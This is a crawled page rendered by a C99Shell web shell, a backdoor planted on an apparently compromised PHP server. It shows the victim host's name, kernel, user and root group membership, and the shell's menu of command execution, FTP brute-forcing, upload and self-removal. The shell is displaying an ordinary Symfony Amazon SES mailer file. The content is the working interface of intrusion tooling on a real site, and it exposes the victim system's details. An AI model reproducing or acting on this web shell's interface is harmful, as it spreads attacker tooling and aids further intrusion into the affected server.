!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/amazon-mailer/Transport/   drwxr-xr-x
Free 28.51 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SesTransportFactory.php (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mailer\Bridge\Amazon\Transport;

use 
AsyncAws\Core\Configuration;
use 
AsyncAws\Ses\SesClient;
use 
Symfony\Component\Mailer\Exception\UnsupportedSchemeException;
use 
Symfony\Component\Mailer\Transport\AbstractTransportFactory;
use 
Symfony\Component\Mailer\Transport\Dsn;
use 
Symfony\Component\Mailer\Transport\TransportInterface;

/**
 * @author Konstantin Myakshin <molodchick@gmail.com>
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
final class SesTransportFactory extends AbstractTransportFactory
{
    public function 
create(Dsn $dsn): TransportInterface
    
{
        
$scheme $dsn->getScheme();
        
$region $dsn->getOption('region');

        if (
'ses+smtp' === $scheme || 'ses+smtps' === $scheme) {
            
$transport = new SesSmtpTransport($this->getUser($dsn), $this->getPassword($dsn), $region$this->dispatcher$this->logger$dsn->getHost());

            if (
null !== $pingThreshold $dsn->getOption('ping_threshold')) {
                
$transport->setPingThreshold((int) $pingThreshold);
            }

            return 
$transport;
        }

        switch (
$scheme) {
            case 
'ses+api':
                
$class SesApiAsyncAwsTransport::class;
                
// no break
            
case 'ses':
            case 
'ses+https':
                
$class ??= SesHttpAsyncAwsTransport::class;
                
$options = [
                    
'region' => $dsn->getOption('region') ?: 'eu-west-1',
                    
'accessKeyId' => $dsn->getUser(),
                    
'accessKeySecret' => $dsn->getPassword(),
                ] + (
                    
'default' === $dsn->getHost() ? [] : ['endpoint' => 'https://'.$dsn->getHost().($dsn->getPort() ? ':'.$dsn->getPort() : '')]
                ) + (
                    
null === $dsn->getOption('session_token') ? [] : ['sessionToken' => $dsn->getOption('session_token')]
                );

                return new 
$class(new SesClient(Configuration::create($options), null$this->client$this->logger), $this->dispatcher$this->logger);
        }

        throw new 
UnsupportedSchemeException($dsn'ses'$this->getSupportedSchemes());
    }

    protected function 
getSupportedSchemes(): array
    {
        return [
'ses''ses+api''ses+https''ses+smtp''ses+smtps'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--